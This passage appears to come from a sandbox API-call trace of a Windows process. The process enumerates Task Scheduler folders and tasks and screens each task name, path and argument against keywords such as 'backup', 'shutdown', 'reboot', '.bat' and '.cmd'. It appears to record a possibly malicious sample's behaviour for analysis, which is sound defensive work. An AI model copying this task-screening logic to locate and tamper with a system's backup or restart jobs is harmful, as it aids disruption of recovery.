IRegisteredTaskCollection:get_Count (in: This=0x47fed8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0130.110] IRegisteredTaskCollection:get_Item (in: This=0x47fed8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460080) returned 0x0 [0130.110] IRegisteredTask:get_Name (in: This=0x2460080, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AD RMS Rights Policy Template Management (Automated)") returned 0x0 [0130.110] IRegisteredTask:get_State (in: This=0x2460080, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.130] IUnknown:Release (This=0x2460080) returned 0x0 [0130.130] IRegisteredTaskCollection:get_Item (in: This=0x47fed8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460080) returned 0x0 [0130.131] IRegisteredTask:get_Name (in: This=0x2460080, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AD RMS Rights Policy Template Management (Manual)") returned 0x0 [0130.131] IRegisteredTask:get_State (in: This=0x2460080, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.134] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x64) returned 0x6d9308 [0130.134] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="reboot") returned 0x0 [0130.134] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="restart") returned 0x0 [0130.134] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="shutdown") returned 0x0 [0130.134] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="logoff") returned 0x0 [0130.134] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".bat") returned 0x0 [0130.134] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="backup") returned 0x0 [0130.134] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".cmd") returned 0x0 [0130.134] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9308) returned 1 [0130.135] IRegisteredTask:get_Definition (in: This=0x2460080, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24601c0) returned 0x0 [0130.161] ITaskDefinition:get_Actions (in: This=0x24601c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460238) returned 0x0 [0130.161] IActionCollection:get_Count (in: This=0x2460238, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.161] IActionCollection:get_Item (in: This=0x2460238, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460ad0) returned 0x0 [0130.161] IAction:get_Type (in: This=0x2460ad0, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0130.161] IUnknown:Release (This=0x2460ad0) returned 0x1 [0130.161] IUnknown:Release (This=0x2460238) returned 0x1 [0130.161] IUnknown:Release (This=0x24601c0) returned 0x0 [0130.162] IUnknown:Release (This=0x2460080) returned 0x0 [0130.162] IUnknown:Release (This=0x47fed8) returned 0x0 [0130.162] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fed8) returned 0x0 [0130.162] ITaskFolderCollection:get_Count (in: This=0x47fed8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.162] IUnknown:Release (This=0x47fed8) returned 0x0 [0130.162] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.162] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.162] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe80) returned 0x0 [0130.164] IRegisteredTaskCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.164] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.164] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe80) returned 0x0 [0130.165] ITaskFolderCollection:get_Count (in: This=0x47fe80, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.165] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.165] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.165] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.165] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fea0) returned 0x0 [0130.165] IRegisteredTaskCollection:get_Count (in: This=0x47fea0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.165] IUnknown:Release (This=0x47fea0) returned 0x0 [0130.165] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fea0) returned 0x0 [0130.166] ITaskFolderCollection:get_Count (in: This=0x47fea0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.166] IUnknown:Release (This=0x47fea0) returned 0x0 [0130.166] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.166] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.166] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe80) returned 0x0 [0130.166] IRegisteredTaskCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.166] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff68) returned 0x0 [0130.166] IRegisteredTask:get_Name (in: This=0x47ff68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Proxy") returned 0x0 [0130.166] IRegisteredTask:get_State (in: This=0x47ff68, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.170] IUnknown:Release (This=0x47ff68) returned 0x0 [0130.170] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.170] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe80) returned 0x0 [0130.170] ITaskFolderCollection:get_Count (in: This=0x47fe80, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.170] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.171] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.171] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.171] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe88) returned 0x0 [0130.171] IRegisteredTaskCollection:get_Count (in: This=0x47fe88, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.171] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.171] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe88) returned 0x0 [0130.171] ITaskFolderCollection:get_Count (in: This=0x47fe88, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.171] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.171] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.171] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.171] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fea8) returned 0x0 [0130.172] IRegisteredTaskCollection:get_Count (in: This=0x47fea8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0130.172] IRegisteredTaskCollection:get_Item (in: This=0x47fea8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460048) returned 0x0 [0130.172] IRegisteredTask:get_Name (in: This=0x2460048, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UserTask") returned 0x0 [0130.172] IRegisteredTask:get_State (in: This=0x2460048, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.174] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.174] wcsstr (_Str="usertask", _SubStr="reboot") returned 0x0 [0130.174] wcsstr (_Str="usertask", _SubStr="restart") returned 0x0 [0130.174] wcsstr (_Str="usertask", _SubStr="shutdown") returned 0x0 [0130.174] wcsstr (_Str="usertask", _SubStr="logoff") returned 0x0 [0130.174] wcsstr (_Str="usertask", _SubStr=".bat") returned 0x0 [0130.174] wcsstr (_Str="usertask", _SubStr="backup") returned 0x0 [0130.174] wcsstr (_Str="usertask", _SubStr=".cmd") returned 0x0 [0130.174] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.174] IRegisteredTask:get_Definition (in: This=0x2460048, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2460108) returned 0x0 [0130.191] ITaskDefinition:get_Actions (in: This=0x2460108, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460180) returned 0x0 [0130.191] IActionCollection:get_Count (in: This=0x2460180, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.191] IActionCollection:get_Item (in: This=0x2460180, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460b20) returned 0x0 [0130.191] IAction:get_Type (in: This=0x2460b20, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0130.192] IUnknown:Release (This=0x2460b20) returned 0x1 [0130.192] IUnknown:Release (This=0x2460180) returned 0x1 [0130.192] IUnknown:Release (This=0x2460108) returned 0x0 [0130.192] IUnknown:Release (This=0x2460048) returned 0x0 [0130.192] IRegisteredTaskCollection:get_Item (in: This=0x47fea8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460048) returned 0x0 [0130.192] IRegisteredTask:get_Name (in: This=0x2460048, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UserTask-Roam") returned 0x0 [0130.192] IRegisteredTask:get_State (in: This=0x2460048, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.193] IUnknown:Release (This=0x2460048) returned 0x0 [0130.193] IUnknown:Release (This=0x47fea8) returned 0x0 [0130.193] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fea8) returned 0x0 [0130.194] ITaskFolderCollection:get_Count (in: This=0x47fea8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.194] IUnknown:Release (This=0x47fea8) returned 0x0 [0130.194] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.194] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.194] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fec0) returned 0x0 [0130.195] IRegisteredTaskCollection:get_Count (in: This=0x47fec0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.195] IRegisteredTaskCollection:get_Item (in: This=0x47fec0, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff60) returned 0x0 [0130.195] IRegisteredTask:get_Name (in: This=0x47ff60, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Consolidator") returned 0x0 [0130.195] IRegisteredTask:get_State (in: This=0x47ff60, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.196] IUnknown:Release (This=0x47ff60) returned 0x0 [0130.196] IUnknown:Release (This=0x47fec0) returned 0x0 [0130.196] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fec0) returned 0x0 [0130.197] ITaskFolderCollection:get_Count (in: This=0x47fec0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.197] IUnknown:Release (This=0x47fec0) returned 0x0 [0130.197] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.197] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.197] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe80) returned 0x0 [0130.197] IRegisteredTaskCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.197] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff68) returned 0x0 [0130.197] IRegisteredTask:get_Name (in: This=0x47ff68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ScheduledDefrag") returned 0x0 [0130.197] IRegisteredTask:get_State (in: This=0x47ff68, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.199] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e6348 [0130.199] wcsstr (_Str="scheduleddefrag", _SubStr="reboot") returned 0x0 [0130.199] wcsstr (_Str="scheduleddefrag", _SubStr="restart") returned 0x0 [0130.199] wcsstr (_Str="scheduleddefrag", _SubStr="shutdown") returned 0x0 [0130.199] wcsstr (_Str="scheduleddefrag", _SubStr="logoff") returned 0x0 [0130.199] wcsstr (_Str="scheduleddefrag", _SubStr=".bat") returned 0x0 [0130.199] wcsstr (_Str="scheduleddefrag", _SubStr="backup") returned 0x0 [0130.199] wcsstr (_Str="scheduleddefrag", _SubStr=".cmd") returned 0x0 [0130.199] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6348) returned 1 [0130.199] IRegisteredTask:get_Definition (in: This=0x47ff68, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.218] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.218] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.218] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460988) returned 0x0 [0130.218] IAction:get_Type (in: This=0x2460988, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.218] IUnknown:QueryInterface (in: This=0x2460988, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460988) returned 0x0 [0130.218] IExecAction:get_Path (in: This=0x2460988, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\defrag.exe") returned 0x0 [0130.218] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3a) returned 0x6c2938 [0130.218] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="reboot") returned 0x0 [0130.218] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="restart") returned 0x0 [0130.218] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="shutdown") returned 0x0 [0130.218] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="logoff") returned 0x0 [0130.218] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".bat") returned 0x0 [0130.219] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="backup") returned 0x0 [0130.219] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".cmd") returned 0x0 [0130.219] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0130.219] IExecAction:get_Arguments (in: This=0x2460988, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-c") returned 0x0 [0130.219] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6d8978 [0130.219] wcsstr (_Str="-c", _SubStr="reboot") returned 0x0 [0130.219] wcsstr (_Str="-c", _SubStr="restart") returned 0x0 [0130.219] wcsstr (_Str="-c", _SubStr="shutdown") returned 0x0 [0130.219] wcsstr (_Str="-c", _SubStr="logoff") returned 0x0 [0130.219] wcsstr (_Str="-c", _SubStr=".bat") returned 0x0 [0130.219] wcsstr (_Str="-c", _SubStr="backup") returned 0x0 [0130.219] wcsstr (_Str="-c", _SubStr=".cmd") returned 0x0 [0130.219] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8978) returned 1 [0130.219] IUnknown:Release (This=0x2460988) returned 0x2 [0130.219] IUnknown:Release (This=0x2460988) returned 0x1 [0130.219] IUnknown:Release (This=0x2460128) returned 0x1 [0130.219] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.220] IUnknown:Release (This=0x47ff68) returned 0x0 [0130.221] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.221] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe80) returned 0x0 [0130.221] ITaskFolderCollection:get_Count (in: This=0x47fe80, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.221] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.221] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.221] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.221] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe88) returned 0x0 [0130.222] IRegisteredTaskCollection:get_Count (in: This=0x47fe88, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.222] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.222] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe88) returned 0x0 [0130.222] ITaskFolderCollection:get_Count (in: This=0x47fe88, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.222] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.222] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.222] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.222] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe90) returned 0x0 [0130.223] IRegisteredTaskCollection:get_Count (in: This=0x47fe90, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.223] IUnknown:Release (This=0x47fe90) returned 0x0 [0130.223] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe90) returned 0x0 [0130.223] ITaskFolderCollection:get_Count (in: This=0x47fe90, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.223] IUnknown:Release (This=0x47fe90) returned 0x0 [0130.223] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.223] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.223] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe80) returned 0x0 [0130.223] IRegisteredTaskCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.223] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff68) returned 0x0 [0130.224] IRegisteredTask:get_Name (in: This=0x47ff68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Notifications") returned 0x0 [0130.224] IRegisteredTask:get_State (in: This=0x47ff68, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.227] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6d87f0 [0130.227] wcsstr (_Str="notifications", _SubStr="reboot") returned 0x0 [0130.227] wcsstr (_Str="notifications", _SubStr="restart") returned 0x0 [0130.227] wcsstr (_Str="notifications", _SubStr="shutdown") returned 0x0 [0130.227] wcsstr (_Str="notifications", _SubStr="logoff") returned 0x0 [0130.227] wcsstr (_Str="notifications", _SubStr=".bat") returned 0x0 [0130.227] wcsstr (_Str="notifications", _SubStr="backup") returned 0x0 [0130.227] wcsstr (_Str="notifications", _SubStr=".cmd") returned 0x0 [0130.227] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d87f0) returned 1 [0130.227] IRegisteredTask:get_Definition (in: This=0x47ff68, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.265] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.265] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.265] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460998) returned 0x0 [0130.265] IAction:get_Type (in: This=0x2460998, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.265] IUnknown:QueryInterface (in: This=0x2460998, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460998) returned 0x0 [0130.265] IExecAction:get_Path (in: This=0x2460998, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\System32\\LocationNotifications.exe") returned 0x0 [0130.265] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x58) returned 0x6d9258 [0130.265] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="reboot") returned 0x0 [0130.265] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="restart") returned 0x0 [0130.265] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="shutdown") returned 0x0 [0130.265] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="logoff") returned 0x0 [0130.265] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".bat") returned 0x0 [0130.265] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="backup") returned 0x0 [0130.265] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".cmd") returned 0x0 [0130.265] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9258) returned 1 [0130.265] IExecAction:get_Arguments (in: This=0x2460998, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0130.265] IUnknown:Release (This=0x2460998) returned 0x2 [0130.265] IUnknown:Release (This=0x2460998) returned 0x1 [0130.265] IUnknown:Release (This=0x2460128) returned 0x1 [0130.265] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.265] IUnknown:Release (This=0x47ff68) returned 0x0 [0130.265] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.265] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe80) returned 0x0 [0130.266] ITaskFolderCollection:get_Count (in: This=0x47fe80, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.266] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.266] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.266] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.266] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe88) returned 0x0 [0130.266] IRegisteredTaskCollection:get_Count (in: This=0x47fe88, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.267] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.267] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="WinSAT") returned 0x0 [0130.267] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.275] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.275] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.275] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe88) returned 0x0 [0130.275] ITaskFolderCollection:get_Count (in: This=0x47fe88, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.275] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.275] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.275] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.275] 